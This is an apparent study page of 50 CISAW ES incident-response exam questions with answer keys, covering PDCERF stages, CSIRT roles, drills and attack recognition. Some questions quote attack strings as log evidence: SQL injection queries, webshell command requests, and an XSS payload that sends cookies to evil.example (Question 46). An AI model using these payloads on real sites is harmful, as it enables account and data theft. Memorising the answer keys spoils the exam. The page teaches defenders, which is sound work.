I85PREP
⌘ K
CISAW ES study materials
CISAW ES study resources

CISAW ES practice questions

One question at a time. Build your CISAW ES understanding.

First 50 of 190 questions. Each one lists the choices, the correct answer, and an explanation. The checker at the top of this page saves progress in this browser when it is available.

Continue in the practice tool above to load more questions, 50 at a time.

Question 1Security operations, monitoring and response

In the supplied classroom incident-response mnemonic PDCERF, which listed sequence expands the initials?

  1. Prepare, Detect, Contain (抑制), Eradicate, Recover, Follow-up (跟踪) Correct answer.
  2. Patch, Deploy, Compile, Encrypt, Reboot, Format
  3. Purchase, Discount, Contract, Expense, Refund, File
  4. Ping, Dig, Curl, Ettercap, Responder, Frida

Explanation

The supplied mnemonic expands to Prepare, Detect, Contain, Eradicate, Recover and Follow-up. It is a classroom organization aid. In actual incidents, safety, authority, containment and evidence needs can overlap; use the applicable current playbook rather than treating a mnemonic as an immutable sequence.

Question 2Security operations, monitoring and response

Which PDCERF stage includes building the CSIRT, writing playbooks, staging toolkits, and running drills before an incident?

  1. Eradicate (根除)
  2. Prepare (准备) Correct answer.
  3. Recover (恢复)
  4. Follow-up (跟踪) only after eradication

Explanation

准备 is the pre-incident stage: charter the team, define roles, write playbooks, prepare jump bags and evidence kits, and train with 应急演练. GB/T 20985.2 likewise emphasizes planning and preparing the IRT before detection.

Question 3Security operations, monitoring and response

During an active worm outbreak, the CSIRT disables the infected VLAN uplink and blocks the C2 domain. Which PDCERF stage is this primarily?

  1. Follow-up lessons-learned publishing
  2. Annual 等保 paperwork filing
  3. Recruiting a new CFO
  4. Contain (抑制) Correct answer.

Explanation

抑制 (containment) stops the bleeding: isolate hosts or networks, disable accounts, and block C2 so the incident does not spread. Eradication of binaries and recovery of services come after the spread is controlled.

Question 4Security operations, monitoring and response

Which pair correctly contrasts eradicate (根除) and recover (恢复)?

  1. They are the same stage and may be skipped together
  2. Recover always happens before detection
  3. Eradicate removes the cause (malware, webshell, backdoor accounts); recover restores verified clean services and data Correct answer.
  4. Eradicate restores users; recover deletes evidence

Explanation

根除 takes out the attacker's foothold. 恢复 brings business functions back from known-good media, with monitoring to catch reinfection. Restoring from a dirty backup without eradication simply relaunches the incident.

Question 5Security operations, monitoring and response

Which activities belong in PDCERF follow-up (跟踪)?

  1. Disabling all logging to reduce noise
  2. After-action review, hardening, playbook updates, and watching for reinfection Correct answer.
  3. Skipping documentation because the outage ended
  4. Paying ransom as the only closure step

Explanation

跟踪 is the lessons-learned and monitoring stage in both PDCERF and GB/T 20985. It includes the after-action report, control improvements, playbook revision, and continued hunting so the same path is not reused.

Question 6Security operations, monitoring and response

Which CSIRT role set is most complete for a production 应急服务 capability?

  1. Incident manager, technical handlers/analysts, communications lead, and a legal/compliance liaison Correct answer.
  2. Only a marketing intern with no on-call
  3. Only the facilities gardener
  4. Only an external journalist

Explanation

A CSIRT needs an incident manager to run the clock, technical handlers to contain and eradicate, a communications lead for internal/external messaging, and legal/compliance for reporting duties under 网络安全法. GB/T 20985.2 treats IRT establishment as a preparation essential.

Question 7Security operations, monitoring and response

A low-volume, stealthy APT implant is found on a non-critical jump box. Intelligence leadership wants attacker TTPs. When is continued monitoring (rather than instant full isolation) most defensible?

  1. Always, even on a spreading worm in a hospital OT network
  2. Only when spread risk is tightly controlled, legal/management approval exists, and watchers can cut the path immediately Correct answer.
  3. Whenever the analyst is curious, with no approval
  4. Never document the choice, so liability is unclear

Explanation

Watching a live attacker can yield TTPs, but it is an exception, not the default. It requires a contained blast radius, explicit authorization, and a kill switch. Worms, ransomware, and safety-critical networks should be isolated first under 抑制.

Question 8Security operations, monitoring and response

What is the best description of an incident playbook versus a high-level security policy?

  1. A playbook replaces the Cybersecurity Law
  2. A policy lists packet-capture BPF syntax only
  3. They are identical and both optional
  4. A playbook is a step-by-step handling procedure for a specific incident type; a policy states required outcomes and authority Correct answer.

Explanation

Policies assign authority (who can isolate, who can notify). Playbooks turn that authority into ordered steps for ransomware, webshells, DDoS, and similar. CISAW 应急服务 system-establishment work expects both.

Question 9Security operations, monitoring and response

Which drill format is a facilitated discussion of a scenario without touching production systems?

  1. Blind production malware detonation on payment hosts
  2. Unannounced deletion of all backups
  3. Tabletop exercise (桌面推演) Correct answer.
  4. Full live cutover of the core bank switch stack

Explanation

桌面推演 walks roles through injects on paper or slides. It is the safest way to test decision paths, escalation, and communications before functional or full-scale 应急演练 that touch technology.

Question 10Security operations, monitoring and response

How does a functional drill differ from a full-scale 应急演练?

  1. There is no difference in CISAW 应急服务 practice
  2. A functional drill exercises selected technical or process functions; a full-scale drill mobilizes multiple teams and more realistic end-to-end operations Correct answer.
  3. A functional drill always uses live ransomware on customers
  4. A full-scale drill never includes communications or logistics

Explanation

Functional drills test a slice (for example SIEM alerting plus isolation). Full-scale drills involve more teams, more realism, and often parallel public-affairs and logistics play. Both still need safety rules and a rollback plan.

Question 11Security operations, monitoring and response

A provincial e-government portal has been defaced and unavailable for more than six hours, with spreading rumors online. Which CSIRT action is most aligned with national 重大-grade handling?

  1. Treat it as a closed local ticket with no escalation
  2. Escalate to the organization's emergency lead, notify competent authorities as required, and activate the major-incident playbook Correct answer.
  3. Wait until the next annual 等保 audit
  4. Only post an informal chat emoji in a private group

Explanation

Prolonged unavailability of a government portal plus public impact is in the 重大-grade neighborhood under national grading guidance. Playbooks must escalate internally and report outward under Cybersecurity Law Article 27 and the national reporting rules, not wait for an annual audit.

Question 12Security operations, monitoring and response

Why should a CSIRT designate a single communications lead during a live incident?

  1. To keep facts, legal review, and public statements consistent Correct answer.
  2. To prevent any logs from being collected
  3. To replace technical containment with press releases
  4. To guarantee that attackers receive the same briefing

Explanation

Multiple uncoordinated speakers produce contradictions that harm trust and legal posture. The communications lead works with the incident manager and legal liaison so internal, regulator, and public messages match verified facts.

Question 13Security operations, monitoring and response

In a war-room response, who is primarily responsible for the incident clock, priorities, and go/no-go isolation decisions?

  1. A random chat participant with no charter
  2. The attacker
  3. An uninvolved intern shadowing on day one without authority
  4. The incident manager / commander Correct answer.

Explanation

The incident manager runs PDCERF execution: clock, priorities, resource calls, and isolation authority defined in the CSIRT charter. Technical handlers advise, but split command is a common drill failure.

Question 14Security operations, monitoring and response

While containing a compromised server, which evidence action should happen before rebuild?

  1. Email the production disk to a public forum
  2. Turn on guest SMB write access to 'preserve' files
  3. Capture volatile data as needed, image the disk, and hash the evidence with chain-of-custody notes Correct answer.
  4. Reimage immediately with no copy because rebuild is faster

Explanation

Containment must not destroy the story of the attack. Order-of-volatility collection, imaging, hashing, and custody notes allow later 根除 analysis and legal use. Rebuilding with no copy is a common 应急服务 failure.

Question 15Security operations, monitoring and response

A hospital clinical system is infected, but isolation would stop emergency-room charting. What is the soundest 应急服务 decision pattern?

  1. Always pull the power cable first with no clinical input
  2. Jointly choose the least-harm containment (segment, block C2, disable accounts) with clinical leadership, documenting residual risk Correct answer.
  3. Ignore the malware because clinical systems are exempt from 网络安全法
  4. Post the patient database to the internet as a 'transparent backup'

Explanation

Safety-critical environments need containment that limits attacker spread without blindly causing clinical harm. Segmentation, C2 blocking, and account disablement are often available before a hard shutdown. 网络安全法 duties still apply; residual risk must be owned and documented.

Question 16Security operations, monitoring and response

Which on-call design best supports a CSIRT detection-to-containment SLA?

  1. Routing all alerts to a disconnected printer
  2. A documented rotation with escalation contacts, paging, and a maximum acknowledge time Correct answer.
  3. A single unofficial volunteer who may be on leave with no backup
  4. No one outside business hours because attacks only happen at noon

Explanation

准备 includes people, not only tools. Rotations, backups, paging, and acknowledge/contain clocks are how 检测 becomes 抑制 on time. Unofficial single points of failure are a classic drill finding.

Question 17Security operations, monitoring and response

GB/T 20985.2 guidance on preparing incident response includes which organizational action?

  1. Establishing an incident response team (IRT) with management commitment, contacts, and a tested plan Correct answer.
  2. Deleting the information-security policy so it cannot conflict with incidents
  3. Banning all logging to reduce storage
  4. Outsourcing legal identity so no operator remains

Explanation

GB/T 20985.2 focuses on the plan-and-prepare and lessons-learned stages: management commitment, an IRT, internal/external contacts, technical support, awareness, and plan testing. That is the standards basis for CISAW 应急服务 system establishment.

Question 18Security operations, monitoring and response

What should a PDCERF follow-up after-action report (AAR) always include?

  1. Only a marketing slogan
  2. The attacker's preferred lunch order
  3. A decision to disable all future monitoring
  4. Timeline, root cause, what worked, gaps, and assigned corrective actions with owners and due dates Correct answer.

Explanation

跟踪 is incomplete without an AAR that records facts, causes, and tracked improvements. Unowned recommendations are a common reason the same incident recurs. Playbooks and 等保 controls should be updated from those actions.

Question 19Security operations, monitoring and response

Ransomware has encrypted a file share, but a separately segmented billing API must stay up. Which dual-track approach is most consistent with PDCERF?

  1. Shut down the entire company including unrelated safety systems with no analysis
  2. Pay ransom before any isolation because dual-track work is forbidden
  3. Contain the share and C2 immediately, rebuild the share from known-good backups, and keep the billing API on a verified clean segment with heightened monitoring Correct answer.
  4. Restore the encrypted share from the latest dirty snapshot onto the billing API hosts

Explanation

抑制 can be scoped: isolate what is burning, keep verified-clean critical paths, and 根除/恢复 the affected share from known-good backups. Mixing dirty snapshots into the clean billing segment would expand the incident.

Question 20Security operations, monitoring and response

Besides the technical war room, which stakeholders should a major-incident playbook notify on a defined trigger?

  1. No one, to keep the incident deniable
  2. Executive sponsor, legal/compliance, communications, and-when required-competent authorities Correct answer.
  3. Only a personal blog audience
  4. Only the original malware author

Explanation

System establishment includes notification matrices. Executives own business risk, legal frames 网络安全法 reporting, communications keep messages consistent, and competent authorities receive required reports. Deniability is not a lawful strategy.

Question 21Security operations, monitoring and response

Which items belong in a CISAW 应急服务 prepare-stage toolkit?

  1. Trusted analysis laptop, packet-capture tools, evidence bags/hashes, contact lists, and known-good restoration media Correct answer.
  2. Only a paperweight
  3. Production domain-admin passwords taped to a public monitor
  4. A single untested USB of unknown origin

Explanation

准备 includes people, process, and tools. A jump bag with trusted binaries, capture capability, custody materials, contacts, and clean restore media shortens 检测-to-抑制 time. Unknown USB sticks and posted admin passwords are hazards, not kits.

Question 22Security operations, monitoring and response

Which detection sources should a CSIRT plan to correlate rather than relying on one sensor?

  1. Only a hallway rumor
  2. Only annual paper questionnaires
  3. Only the attacker's press release
  4. IDS/IPS, SIEM/log pipelines, EDR, user reports, and threat-intelligence matches Correct answer.

Explanation

检测 is stronger when network, host, log, human, and intel sources are correlated. Single-sensor blindness is why playbooks require SIEM use cases plus a user reporting path.

Question 23Security operations, monitoring and response

A new SIEM rule fires 4,000 times in an hour; 99% are a noisy scanner. What is the best 检测-stage handling?

  1. Declare 特别重大 and shut down the national backbone
  2. Ignore all future alerts from every source
  3. Tune the rule, whitelist the known-good scanner if policy allows, and keep a sampled hunt for true positives Correct answer.
  4. Disable the entire SIEM permanently

Explanation

False-positive floods train analysts to ignore real alerts. The prepare/detect loop is to tune, document exceptions, and retain some coverage. Turning the SIEM off, or escalating to a national emergency, are opposite errors.

Question 24Security operations, monitoring and response

Which action is a logical containment method rather than a physical power-off?

  1. Cutting building mains without notifying facilities
  2. Applying a firewall ACL to isolate a host or VLAN and disabling the compromised account Correct answer.
  3. Pouring water on a running server
  4. Throwing the RAID array down a stairwell

Explanation

抑制 is usually logical first: ACLs, switch VLAN isolation, account disablement, and C2 blocks. Physical destruction or unplanned power cuts destroy evidence and can cause extra harm.

Question 25Security operations, monitoring and response

Why does a CSIRT charter from senior management matter in 应急服务 system establishment?

  1. It authorizes isolation, data access, and external reporting so handlers are not blocked mid-incident Correct answer.
  2. It replaces the need for any technical skill
  3. It forbids playbooks
  4. It makes 等保 log retention optional

Explanation

Without a charter, handlers hesitate to isolate or notify. Management commitment is also a GB/T 20985.2 preparation point. The charter does not replace skills, playbooks, or 等保 duties.

Question 26Security operations, monitoring and response

Which playbook trigger is written well enough to use in a live 应急服务 shift?

  1. If something feels odd, maybe tell someone someday
  2. If the moon is full, reboot the SAN
  3. If coffee is cold, wipe the AD forest
  4. If EDR reports confirmed ransomware encryption on a server, the incident manager declares a P1, isolates the host, and notifies legal within 15 minutes Correct answer.

Explanation

Playbook triggers need observable conditions, a named role, a time box, and a first action. Vague feelings and superstition cannot be trained or audited in 应急演练.

Question 27Security operations, monitoring and response

For a suspected 重大 or 特别重大 incident, which external coordination is most appropriate in the Chinese 应急服务 context?

  1. Wait until the next five-year plan is published
  2. Destroy logs so external agencies have nothing to review
  3. Notify competent authorities as required and coordinate with sector CERTs/CNCERT-style bodies while preserving evidence Correct answer.
  4. Only tweet IOCs from a personal account

Explanation

National plans and reporting rules expect timely notice to competent authorities. Sector CERTs and CNCERT/CC-style coordination help with tracing and mitigation. Evidence must be preserved for that cooperation, not destroyed.

Question 28Vulnerability discovery, prioritization and verification

In a typical cyber kill chain, which stage comes first?

  1. Actions on objectives such as data theft
  2. Command and control (C2) beaconing
  3. Reconnaissance against the target environment Correct answer.
  4. Installation of a persistent backdoor

Explanation

The kill chain begins with reconnaissance: identifying targets, exposed services, people, and weaknesses. Weaponization, delivery, exploitation, installation, C2, and actions on objectives follow. 应急服务 analysts use that order to decide which artifacts belong to early versus late stages.

Question 29Vulnerability discovery, prioritization and verification

After malware is installed on a host, which kill-chain stage is primarily shown by regular outbound beacons to a rare domain?

  1. Reconnaissance of public WHOIS records
  2. Command and control (C2) Correct answer.
  3. Physical destruction of backup tapes
  4. Password-policy design

Explanation

Periodic outbound connections to an unusual domain or IP are classic C2 beacons: the implant checks in for tasking. 应急服务 handlers use those artifacts to identify remaining infected hosts during containment.

Question 30Vulnerability discovery, prioritization and verification

In kill-chain terms, wrapping an exploit in a malicious Office document is best classified as which stage?

  1. Lessons-learned reporting
  2. Business-continuity tabletop
  3. Certificate pinning
  4. Weaponization Correct answer.

Explanation

Weaponization couples an exploit with a deliverable payload (document, archive, or link). Delivery is the later act of getting that package to the victim. Distinguishing those stages helps 应急服务 teams decide whether they are looking at builder artifacts or at the actual infection path.

Question 31Vulnerability discovery, prioritization and verification

A web access log shows: GET /search?q=1'+UNION+SELECT+user,password+FROM+users-- HTTP/1.1. Which attack is this evidence of?

  1. CSRF against a state-changing POST only
  2. SQL injection (SQL注入) Correct answer.
  3. A SYN flood with no HTTP payload
  4. A clean health-check from a load balancer

Explanation

The UNION SELECT against a users table, quote-breaking, and comment terminator are textbook SQL injection. 应急服务 analysts should treat the request as an attack artifact, hunt for similar queries, and check whether data left the database.

Question 32Vulnerability discovery, prioritization and verification

Which statement best distinguishes stored XSS from reflected XSS?

  1. Reflected XSS always encrypts the database
  2. They are identical to CSRF in every case
  3. Stored XSS persists the script on the server (for example in a comment) so later visitors execute it; reflected XSS echoes the script from a crafted request Correct answer.
  4. Stored XSS can only run on air-gapped mainframes

Explanation

Stored (persistent) XSS writes the payload into application data so other users later receive it. Reflected XSS bounces the payload off a single response to the attacker's crafted URL. Both execute in the victim browser; persistence is the difference 应急服务 handlers use when scoping affected users.

Question 33Vulnerability discovery, prioritization and verification

An employee clicks a third-party page that silently submits a funds-transfer POST to the corporate banking app where the employee is still logged in. No script ran on the banking origin. Which attack is this?

  1. SQL injection of a UNION query
  2. Stored XSS in a comment field
  3. Cross-site request forgery (CSRF) Correct answer.
  4. Offline brute force of a password hash

Explanation

CSRF causes the victim browser to send an authenticated state-changing request to a site where the user already has a session. The third-party page does not need to run script on the banking origin. Anti-CSRF tokens, SameSite cookies, and re-authentication are the usual defenses.

Question 34Vulnerability discovery, prioritization and verification

A WAF log shows repeated requests: /item?id=1 AND 1=1 and /item?id=1 AND 1=2, then /item?id=1' AND SUBSTRING(@@version,1,1)='5'. What is the attacker most likely doing?

  1. Uploading a clean TLS certificate
  2. Boolean-based blind SQL injection to fingerprint the database Correct answer.
  3. Sending a volumetric UDP DDoS flood
  4. Rotating DHCP leases on a printer VLAN

Explanation

Paired true/false predicates (1=1 vs 1=2) followed by SUBSTRING on @@version are classic boolean-based blind SQL injection used to extract database version and data one bit or character at a time. 应急服务 teams should block the source, inspect whether data leaked, and patch the parameterized-query gap.

Question 35Vulnerability discovery, prioritization and verification

A first-stage sample only downloads and runs a second payload, which then encrypts files and drops a ransom note. How should 应急服务 analysis label those two components?

  1. Both are exclusively hardware Trojans in firmware
  2. The first is a dropper/downloader; the second is ransomware Correct answer.
  3. Both must be classified as harmless packers
  4. The first is a DHCP server; the second is a mail MTA

Explanation

A dropper or downloader exists to fetch or unpack a later payload. When that payload encrypts data for extortion, it is ransomware. Labeling stages separately helps handlers hunt the initial access path and the encryption behavior independently.

Question 36Vulnerability discovery, prioritization and verification

A spear-phishing email with a malicious attachment is primarily which kill-chain stage?

  1. Delivery Correct answer.
  2. Lessons learned
  3. Disk imaging
  4. Tabletop facilitation

Explanation

Delivery is how the weaponized payload reaches the victim-email, drive-by download, USB, or similar. Spear-phishing with an attachment is a common delivery method and should be correlated with mail-gateway and endpoint artifacts.

Question 37Vulnerability discovery, prioritization and verification

After a single workstation is compromised, the attacker uses stolen domain credentials to access additional file servers. Which intrusion stage is this?

  1. Initial reconnaissance of public websites only
  2. Secure SDLC code review
  3. Backup-tape labeling
  4. Lateral movement Correct answer.

Explanation

Lateral movement is expansion from the initial foothold to other hosts using stolen credentials, remote services, or exploits. 应急服务 containment must assume the blast radius is larger than the first host until proven otherwise.

Question 38Vulnerability discovery, prioritization and verification

IIS/Nginx logs show POST /upload/images/x.php HTTP/1.1 200, then many POST /upload/images/x.php?cmd=whoami requests from the same IP. What should the 应急服务 analyst conclude first?

  1. This is a successful DKIM alignment check
  2. The log proves a clean vulnerability scan with no follow-up
  3. A webshell was likely uploaded and is now executing commands Correct answer.
  4. The site is only serving a static CSS file

Explanation

A PHP file written under an upload path, followed by cmd= parameter posts, is a classic webshell pattern. Immediate steps are to isolate the host or virtual path, preserve the file, block the source, and hunt other shells before rebuilding.

Question 39Vulnerability discovery, prioritization and verification

Which persistence technique is most consistent with a new Windows scheduled task that launches a payload at logon?

  1. One-time reconnaissance of a public job posting
  2. Maintaining access after reboot by abusing the task scheduler Correct answer.
  3. A purely network SYN flood with no host change
  4. TLS certificate transparency logging

Explanation

Scheduled tasks, Run keys, services, and WMI subscriptions are common Windows persistence mechanisms. A new task at logon is a high-value 应急服务 hunting lead during eradication.

Question 40Vulnerability discovery, prioritization and verification

Which of the following is an indicator of compromise (IOC) rather than a high-level attacker motivation?

  1. An HR policy on remote work
  2. A file SHA-256 hash and a C2 domain observed in malware Correct answer.
  3. The attacker's long-term geopolitical strategy
  4. A board statement about digital transformation

Explanation

IOCs are observable artifacts-hashes, IPs, domains, mutexes, registry keys-that can be used to detect related activity. Motivations and corporate policies are context, not detection primitives.

Question 41Vulnerability discovery, prioritization and verification

In ATT&CK-style analysis used during 应急服务 investigations, which statement is correct?

  1. A tactic is the adversary's technical procedure; a technique is the high-level goal
  2. A tactic is the high-level goal (for example credential access); a technique is how that goal is achieved (for example LSASS dumping) Correct answer.
  3. Tactics and techniques are identical to CVSS scores
  4. ATT&CK tactics replace the need for logs

Explanation

Tactics are why (credential access, persistence, exfiltration). Techniques and procedures are how. Mapping logs to techniques helps 应急服务 teams find related activity even when a specific hash IOC is missing.

Question 42Vulnerability discovery, prioritization and verification

Timeline: 09:01 many 4625 failures on a jump host from 203.0.113.9; 09:08 a 4624 type 10 success for the same account; 09:12 cmd.exe spawning nmap; 09:40 SMB connections to file servers with that account. Which reconstruction is best?

  1. A printer firmware update with no credential use
  2. Brute force, then successful RDP, then discovery, then lateral movement Correct answer.
  3. A clean vulnerability-management scan that never authenticated
  4. An offline tape restore in the computer room

Explanation

Burst 4625 events show guessing. A 4624 logon type 10 is Remote Desktop success. Spawning nmap is internal discovery. Subsequent SMB use of the same account is lateral movement. That ordered chain is the 应急服务 working hypothesis until disproved.

Question 43Vulnerability discovery, prioritization and verification

Which traffic pattern is most suggestive of DNS tunneling used as C2 or exfiltration?

  1. A few ordinary A-record lookups for well-known CDNs during browsing
  2. Unusually long, high-entropy subdomain labels sent at a steady rate to an uncommon domain Correct answer.
  3. A single PTR lookup after an internal DHCP renew
  4. mDNS for a printer on the same LAN segment

Explanation

DNS tunnels encode data in query names. Long, high-entropy labels, odd record types, and steady volume to a rare domain are the usual 应急服务 clues. Sinkholing or blocking that domain is a common containment step after preserving queries.

Question 44Vulnerability discovery, prioritization and verification

Hundreds of Windows Event ID 4625 records for one account in two minutes, followed by no 4624, most likely indicate:

  1. A failed brute-force or password-spray attempt that has not yet succeeded Correct answer.
  2. A successful smart-card logon
  3. A clean shutdown of the print spooler
  4. A DHCP ACK for a phone

Explanation

4625 is a failed logon. A tight burst against one account is brute force or spraying. Absence of 4624 means the attempt has not succeeded yet, but 应急服务 teams should still lock the account, block the source, and watch for later success.

Question 45Vulnerability discovery, prioritization and verification

An attacker uses built-in powershell.exe and wmic.exe instead of dropping a custom binary. What is this technique commonly called?

  1. Air-gap Faraday shielding
  2. Perfect forward secrecy
  3. Code signing of the official kernel
  4. Living-off-the-land (LOLBins) Correct answer.

Explanation

Living-off-the-land abuses signed, already-present OS tools so malware blends into normal process trees. 应急服务 detection must look at command lines, parent/child relationships, and unusual network follow-on, not only unsigned binaries.

Question 46Vulnerability discovery, prioritization and verification

Which payload is XSS rather than SQL injection?

  1. ' OR 1=1--
  2. UNION SELECT NULL,NULL--
  3. <script>document.location='https://evil.example/c.js?'+document.cookie</script> Correct answer.
  4. ; WAITFOR DELAY '0:0:5'--

Explanation

The script tag stealing cookies executes in the browser and is XSS. The other three strings are SQL injection patterns (boolean bypass, UNION, and time-based WAITFOR). 应急服务 analysts must classify the payload by the interpreter it targets.

Question 47Vulnerability discovery, prioritization and verification

A widely used software update channel ships a backdoored installer signed with the vendor's legitimate certificate. Which delivery model is this?

  1. A mislabeled 等保 questionnaire
  2. A physical fire-suppression test
  3. Supply-chain compromise of the update path Correct answer.
  4. A local CSRF against an intranet form only

Explanation

When attackers subvert a trusted vendor update, every customer that installs the package is a potential victim. 应急服务 response must treat the software as untrusted, hunt by version and hash, and coordinate with the vendor and upstream CERTs.

Question 48Vulnerability discovery, prioritization and verification

After exploiting a service as a low-privilege user, the attacker dumps LSASS and obtains a domain-admin hash. Which stage is this?

  1. Playbook tabletop facilitation
  2. Privilege escalation / credential access after exploitation Correct answer.
  3. Public OSINT reconnaissance only
  4. Backup restoration

Explanation

Exploitation yields initial code execution. Dumping LSASS for a privileged hash is credential access used to escalate. 应急服务 eradication must rotate those credentials and hunt every host where they were used.

Question 49Vulnerability discovery, prioritization and verification

Which outbound pattern is most consistent with data exfiltration over HTTPS?

  1. A sudden large POST/PUT volume to a rare external host on 443 after file-archive creation Correct answer.
  2. A single internal ARP request
  3. NTP queries to a pool every 1024 seconds
  4. A printer broadcasting mDNS

Explanation

Attackers often stage archives and then send them over 443 to blend with web traffic. Unusual destination, size, and timing after archive creation are 应急服务 clues even when payload bytes are encrypted.

Question 50Vulnerability discovery, prioritization and verification

Artifacts: phishing mail with a .docm hash; macro spawning powershell.exe; new Run key; hourly HTTPS to a rare SNI; later zip of \finance\ then PUT to that SNI. Which ordered kill-chain reconstruction is best?

  1. Recovery, then eradication, then reconnaissance
  2. Especially major grading, then 等保 recertification
  3. Disk imaging, then tabletop, then CSRF token design
  4. Delivery and exploitation, installation/persistence, C2, then actions on objectives (exfil) Correct answer.

Explanation

The document delivers and exploits via macro, the Run key is persistence, the rare SNI beacons are C2, and the finance zip PUT is exfiltration (actions on objectives). That order is what 应急服务 reports should present to leadership and to downstream hunters.